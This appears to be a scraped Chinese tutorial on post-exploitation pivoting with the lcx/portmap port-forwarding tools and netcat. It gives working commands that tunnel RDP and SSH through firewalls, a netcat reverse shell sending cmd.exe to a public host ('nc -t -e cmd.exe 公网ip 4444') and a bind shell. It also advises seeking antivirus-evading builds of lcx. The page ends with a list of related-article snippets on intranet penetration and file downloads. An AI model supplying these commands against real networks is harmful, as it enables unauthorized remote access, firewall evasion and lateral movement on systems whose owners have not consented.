端口转发lcx工具+nc反弹工具使用

article/2025/8/24 3:59:16

一、lcx工具

lcx.exe是一个端口转发工具,有Windows版和Linux版两个版本,Windows版是lcx.exe,Linux版为portmap,

Windows版使用方法如下:

1、 lcx 内网端口转发

本机IP:192.168.1.10 目标机IP:192.168.1.5
本机运行: lcx -listen 3333 2222
在这里插入图片描述
目标机运行:lcx -slave 192.168.1.10 3333 192.168.1.5 3389
将192.168.1.5的3389端口映射给192.168.1.10的3333端口

在本机上远程桌面连接127.0.0.1(本机自己)的2222端口,就可连接到目标机的3389端口。
在这里插入图片描述

从第三台机器上连接本机(192.168.1.10)的2222端口,也可以连接到目标机的3389端口。
查看本机和目标机器,可以看到,目标机器主动连接本机的3333端口,这样就绕开了目标机上的防火墙。
即使目标机器上的防火墙阻隔了3389端口,由于是目标机主动连接本机,穿透防火墙。

2、本地端口转发

-tran参数的用法
目标机上运行:lcx -tran 3333 127.0.0.1 3389
在这里插入图片描述

在主机上运行远程桌面,连接目标机的53端口,可以连接到主机的3389端口。
目标机上运行:lcx -tran 3333 192.168.125.102 3389 其中192.168.125.102是第三台机。
在主机上运行远程桌面,连接目标机的3333端口,可以连接到第三台机的3389端口。
在这里插入图片描述

由于防火墙限制,部分端口如3389无法通过防火墙,此时可以将该目标主机的3389端口透传到防火墙允许的其他端口,如53端口,
目标主机上执行:
lcx -tran 53 目标主机ip 3389
这时我们可以直接远程桌面连接到到 目标主机IP:53

注:软件可能会被杀软查杀,可自行寻找免杀版本。

Linux版使用方法:

在这里插入图片描述

例如:
先在具有公网ip的主机上执行:
./portmap -m 2 -p1 6666 -h2 公网主机ip -p2 7777
意思是监听来自6666端口的请求,将其转发到7777端口
在这里插入图片描述

再在内网主机上执行:
./portmap -m 3 -h1 127.0.0.1 -p1 22 -h2 公网主机ip -p2 6666
意思就是将内网主机22端口的流量转发到公网主机的6666端口。
在这里插入图片描述

然后在Linux系统命令行下执行
ssh 公网主机ip 7777
即可连接内网主机。
在这里插入图片描述

另一种方法(-m 1):貌似像windows中的反向代理
./portmap -m 1 -p1 转发的公网端口 -h2 内网地址 -p2 内网服务端口
在本机主机上执行:
./portmap -m 1 -p1 5555 -h2 192.168.1.13 -p2 22
192.168.1.13为内网地址
在这里插入图片描述

验证
在这里插入图片描述

成功

二、nc工具反弹

反向连接

首先进行在公网主机监听:
nc -lvvp 4444
在这里插入图片描述

其次在内网主机上执行
nc -t -e cmd.exe 公网ip 4444
在这里插入图片描述

反弹成功
在这里插入图片描述

正向连接

在内网主机执行:
nc -l -p 4444 -t -e cmd.exe
在这里插入图片描述

在公网主机执行:
nc -vv ip(靶机地址)4444、、成功获取shell
在这里插入图片描述

-vv相当于参数的复用
-v 参数可以将一些关于连接建立信息输出到标准错误。-v参数多出现几次,则显示的信息会更多一些。如果-v参数没有出现,则NetCat将默默地工作,至到出现错误为止。


http://chatgpt.dhexx.cn/article/9JN3bO8L.shtml

相关文章

lcx的使用-内网穿透

lcx有两个功能映射(slave)和转发(tran) 简单看个列子: 映射(slave) 第一步: 我在攻击机上执行此命令 lcx -listen 3333 2222此命令表示我监听3333端口,并把3333端口映射到2222端口 第二步: 我在靶机上执行此命令: …

流量映射端口反弹(lcx,ew)

转载自西梅哥的有道云: https://note.youdao.com/ynoteshare1/index.html?ida6bf797cce0b6087cb78b44818dca69f&typenote 内网应用 一、端口转发工具: 1.LCX(支持双系统) A、window(LCX) 上传一些…

利用lcx作端口映射

端口映射 端口映射就是将内网中的主机的一个端口映射到外网主机的一个端口,提供相应的服务。 当用户访问外网IP的这个端口时,服务器自动将请求映射到对应局域网内部的机器上。比如,我们在内网中有一台Web服务器,但是外网中的用户…

Lcx端口转发初探

最近写了一个简单的威胁分析专家系统Gui图形界面工具,可以快速判断失陷主机,给出失陷隶属度,非常人性化,压缩包大小有20M。实际上,这个小工具可以帮助一线驻场人员,快速定位高危主机,并给所有主…

隐藏隧道通信:lcx 端口转发

郑重声明: 本笔记编写目的只用于安全知识提升,并与更多人共享安全知识,切勿使用笔记中的技术进行违法活动,利用笔记中的技术造成的后果与作者本人无关。倡导维护网络安全人人有责,共同维护网络文明和谐。 隐藏隧道通信…

lcx端口转发linux_技术干货 | 内网渗透之代理转发

1 前言 谈到内网转发,在我们日常的渗透测试过程中经常会用到端口转发,可以利用代理脚本将内网的流量代理到本地进行访问,这样极大的方便了我们对内网进行横向渗透。 那为什么不直接通过登陆服务器来对内网中其他机器进行渗透,而是…

lcx用法

lcx.exe是一个端口转发工具,有Windows版和Linux版两个版本,Windows版是lcx.exe,Linux版为portmap Windows版使用方法如下: lcx有两大功能: 1)端口转发(listen和slave成对使用) 2)端口映射(tran) 1、lcx 内网…

lcx端口转发

lcx端口转发: 本文主要通过讲解lcx的本地端口及远程端口转发,让能熟练使用lcx端口转发工具,对端口转发知识有更加深入了解,本次实验靶场来源于暗月(moonsec)师傅,本文内容全由本人通过学习理解编制,文中若有错处&…

LCX端⼝转发

LCX是一款十分经典的内网端口转发工具,基于Socket套接字,具有端口转发和端口映射的功能。但是目前很多杀软已经将其加入了特征库,在实际利用的时候需要自行做免杀处理。 lcx有三个功能: 第一个功能将本地端口转发到本地另一个端口…

网络安全——lcx的使用

lcx程序可以作远程连接,入侵靶机 下面用win7系统和2003系统作对象 1、 Win7系统作攻击机(IP:192.168.184.134) 2003系统作靶机(被攻击的对象)(IP:192.168.184.101) …

lcx使用方法

lcx实现端口转发 概念 比较经典的就是lcx。简单说一下概念,首先内网中的主机一般都是使用的私有ip,在网络出口处经过NAT转换为公网ip后,才能访问internet。 所以,有时当我们进入网站后台cmd,或者捕获了一台内网中的肉…

端口转发之 lcx

lcx.exe是一个端口转发工具,有Windows版和Linux版两个版本,Windows版是lcx.exe,Linux版为portmap Windows版使用方法如下: lcx有两大功能: 1)端口转发(listen和slave成对使用) 2)端口映射(tran) 1、lcx 内网…

远程桌面连接:使用lcx进行端口转发

一、lcx介绍 lcx是一个基于Socket套接字实现的端口转发工具,有Linux和Windows两个版本。比如说,当目标机器开放了3389端口,我们可以将目标机器的3389端口转发到我们自己的外网主机上的某个端口,然后我们在本地机访问外网主机的端…

从服务器下载文件到本地

今天在公司服务器下了一个很大的数据文件(8G),想拉到本地。 环境 本地是Windows,服务器Linux。笔记本刚格式化了,所以碰到了一些之前没有的问题。 过程 1.首先尝试直接winR,输入cmd回车,打开命令行&…

从服务器中下载文件

从服务器中下载文件 本篇博客主要是实现从云服务器中的Linux系统中通过指令下载文件,其具体如下 1、tar -cvzf 压缩包名.tar.gz 文件或文件夹 1.1 指令解释 tar 对多个文件或文件夹进行打包/解包,并且可以进行压缩/解压缩-c 打包; -x 解…

linux上传下载文件

上传下载文件 背景: 通常,我们需要上传本地文件到服务器,或者从服务器下载文件到本地。 一般来说,方法多种多样。我们可以通过SCRT提供的一个辅助工具来进行 下载辅助工具 yum -y install lrzsz命令行 sz # 从服务器下载某文件到…

文件 - 04 下载文件: 根据文件下载链接下载文件

文章目录 1. 根据下载链接下载文件2. 根据下载链接下载文件1. 根据token获取存放在redis中的fileId2. 根据fileId获得文件信息3. 确定用户拥有操作这个fileId的权限4. 获取文件在服务器的存储路径5. 如果用户指定了下载时的文件名则处理文件名6. 验证文件路径是否存在7. 下载文…

文件上传、下载

在Web应用系统开发中,文件上传和下载功能是非常常用的功能,今天来讲一下JavaWeb中的文件上传和下载功能的实现。 对于文件上传,浏览器在上传的过程中是将文件以流的形式提交到服务器端的,如果直接使用Servlet获取上传文件的输入流…

文件下载相关

下载文件的时候,返回报文里缺失响应码,原因:报文头在报文体前面,报文体一旦确定,响应头信息就不能被修改或添加了,但是如果文件流字节数小于等于8192*2的话,文件流内容会被默认加载在缓存中&…

Linux 如何从网上下载文件

镜像下载、域名解析、时间同步请点击 阿里云开源镜像站 将网络上的文件下载到使用 Linux 操作系统的计算机上,需要用到 wget 指令,使用该指令可能会面临两个问题。 首先,如何获取文件的下载 url?这需要你在浏览器上找到要下载文…